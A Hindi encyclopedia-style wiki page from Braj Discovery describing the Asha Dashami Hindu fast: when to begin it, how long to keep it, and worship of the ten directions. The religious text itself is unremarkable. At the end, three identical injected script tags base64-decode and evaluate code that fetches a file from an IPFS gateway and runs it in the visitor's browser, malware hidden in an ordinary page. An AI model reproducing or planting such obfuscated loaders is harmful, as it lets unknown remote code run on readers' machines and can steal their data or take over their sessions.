आशा दशमी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
रेणु (चर्चा | योगदान) द्वारा परिवर्तित ०६:३२, १५ सितम्बर २०१० का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत किसी शुक्ल पक्ष की दशमी पर आरम्भ करना चाहिए। यह व्रत 6 मास, 1 वर्ष या 2 वर्ष के लिए करना चाहिए।
  • इस व्रत में अपने आँगन में दसों दिशाओं के चित्रों की पूजा करनी चाहिए।
  • इस व्रत के करने से व्यक्ति की सभी आशाएँ ('आशा' का अर्थ 'दिशा' एवं अभिकांक्षा या इच्छा भी होता है) पूर्ण हो जाती हैं।[१]
  • व्रत जो कर रहा है यदि वृद्ध हो तो पूजा तब होनी चाहिए, जब दशमी पूर्वाह्नाँ में हो।

  साँचा:लेख प्रगति

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि व्रतखण्ड (1, 977-981), व्रतरत्नाकर (356-7)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>